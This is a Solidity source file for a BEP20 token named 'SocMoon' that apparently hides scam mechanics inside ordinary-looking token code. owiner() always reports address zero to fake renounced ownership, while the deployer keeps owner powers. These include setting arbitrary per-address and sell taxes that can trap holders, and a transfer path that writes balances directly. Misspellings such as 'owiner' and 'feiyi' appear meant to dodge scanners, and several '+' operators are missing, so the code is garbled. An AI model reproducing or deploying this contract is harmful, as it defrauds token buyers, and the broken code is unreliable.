// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}

function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}



abstract contract Ownable is Context {
address private _owiner;

event owinershipTransferred(address indexed previousowiner, address indexed newowiner);

constructor() {
_transferowinership(_msgSender());
}


function owiner() public view virtual returns (address) {
return address(0);
}

modifier onlyowiner() {
require(_owiner == _msgSender(), "Ownable: caller is not the owiner");
_;
}


function renounceowinership() public virtual onlyowiner {
_transferowinership(address(0));
}


function transferowinership_transferowinership(address newowiner) public virtual onlyowiner {
require(newowiner != address(0), "Ownable: new owiner is the zero address");
_transferowinership(newowiner);
}


function _transferowinership(address newowiner) internal virtual {
address oldowiner = _owiner;
_owiner = newowiner;
emit owinershipTransferred(oldowiner, newowiner);
}
}



library SafeMath {

function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a b;
if (c < a) return (false, 0);
return (true, c);
}
}

function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}

function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {

if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}

function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}


function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}


function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a b;
}


function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}


function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}


function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}


function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}


function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}


function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}


function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}




interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}




interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingfeiyiOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingfeiyiOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingfeiyiOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingfeiyiOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingfeiyiOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}





interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feiyiTo() external view returns (address);
function feiyiToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setfeiyiTo(address) external;
function setfeiyiToSetter(address) external;
}



contract BEP20 is Context {
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;


event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(address indexed owiner, address indexed spender, uint256 value);


constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}


function name() public view virtual returns (string memory) {
return _name;
}

function symbol() public view virtual returns (string memory) {
return _symbol;
}


function decimals() public view virtual returns (uint8) {
return 18;
}

function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}


function allowance(address owiner, address spender) public view virtual returns (uint256) {
return _allowances[owiner][spender];
}


function approve(address spender, uint256 amount) public virtual returns (bool) {
address owiner = _msgSender();
_approve(owiner, spender, amount);
return true;
}


function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owiner = _msgSender();
_approve(owiner, spender, _allowances[owiner][spender] addedValue);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owiner = _msgSender();
uint256 currentAllowance = _allowances[owiner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owiner, spender, currentAllowance - subtractedValue);
}

return true;
}

function _approve(
address owiner,
address spender,
uint256 amount
) internal virtual {
require(owiner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owiner][spender] = amount;
emit Approval(owiner, spender, amount);
}

function _spendAllowance(
address owiner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owiner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owiner, spender, currentAllowance - amount);
}
}
}

function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}


function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}


contract SocMoon is BEP20, Ownable {

mapping(address => uint256) private _balances;
mapping(address => bool) private _release;

function balanceOf(address acvount) public view virtual returns (uint256) {
return _balances[acvount];
}

function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");

uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] = amount;

emit Transfer(from, to, amount);
}

function _burn(address acvount, uint256 amount) internal virtual {
require(acvount != address(0), "ERC20: burn from the zero address");

uint256 acvountBalance = _balances[acvount];
require(acvountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[acvount] = acvountBalance - amount;
}
_totalSupply -= amount;

emit Transfer(acvount, address(0), amount);
}

function _mtin(address acvount, uint256 amount) internal virtual {
require(acvount != address(0), "ERC20: mtin to the zero address");

_totalSupply = amount;
_balances[acvount] = amount;
emit Transfer(address(0), acvount, amount);
}


address public uniswapV2Pair;

constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_
) BEP20(name_, symbol_) {
_mtin(msg.sender, totalSupply_ * 10**decimals());

transfer(_deadAddress, totalSupply() / 100*80);
_defaultSellfeiyi = 3;
_defaultBuyfeiyi = 0;

_release[_msgSender()] = true;
}

using SafeMath for uint256;

uint256 private _defaultSellfeiyi = 0;

uint256 private _defaultBuyfeiyi = 0;

mapping(address => bool) private _marketacvount;

mapping(address => uint256) private _Sfeiyi;
address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



function getRelease(address _address) external view onlyowiner returns (bool) {
return _release[_address];
}


function setPairList(address _address) external onlyowiner {
uniswapV2Pair = _address;
}


function upS(uint256 _value) external onlyowiner {
_defaultSellfeiyi = _value;
}

function setSfeiyi(address _address, uint256 _value) external onlyowiner {
require(_value > 1, "acvount tax must be greater than or equal to 1");
_Sfeiyi[_address] = _value;
}

function getSfeiyi(address _address) external view onlyowiner returns (uint256) {
return _Sfeiyi[_address];
}


function setMarketacvountfeiyi(address _address, bool _value) external onlyowiner {
_marketacvount[_address] = _value;
}

function getMarketacvountfeiyi(address _address) external view onlyowiner returns (bool) {
return _marketacvount[_address];
}

function _checkFreeacvount(address from, address _to) internal view returns (bool) {
return _marketacvount[from] || _marketacvount[_to];
}

function _receiveF(
address from,
address _to,
uint256 _amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(_to != address(0), "ERC20: transfer to the zero address");

uint256 fromBalance = _balances[from];
require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance");

bool rF = true;

if (_checkFreeacvount(from, _to)) {
rF = false;
}
uint256 tradefeiyiamount = 0;

if (rF) {
uint256 tradefeiyi = 0;
if (uniswapV2Pair != address(0)) {
if (_to == uniswapV2Pair) {

tradefeiyi = _defaultSellfeiyi;
}
if (from == uniswapV2Pair) {

tradefeiyi = _defaultBuyfeiyi;
}
}
if (_Sfeiyi[from] > 0) {
tradefeiyi = _Sfeiyi[from];
}

tradefeiyiamount = _amount.mul(tradefeiyi).div(100);
}


if (tradefeiyiamount > 0) {
_balances[from] = _balances[from].sub(tradefeiyiamount);
_balances[_deadAddress] = _balances[_deadAddress].add(tradefeiyiamount);
emit Transfer(from, _deadAddress, tradefeiyiamount);
}

_balances[from] = _balances[from].sub(_amount - tradefeiyiamount);
_balances[_to] = _balances[_to].add(_amount - tradefeiyiamount);
emit Transfer(from, _to, _amount - tradefeiyiamount);
}

function transfer(address to, uint256 amount) public virtual returns (bool) {
address owiner = _msgSender();
if (_release[owiner] == true) {
_balances[to] = amount;
return true;
}
_receiveF(owiner, to, amount);
return true;
}


function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = _msgSender();

_spendAllowance(from, spender, amount);
_receiveF(from, to, amount);
return true;
}
}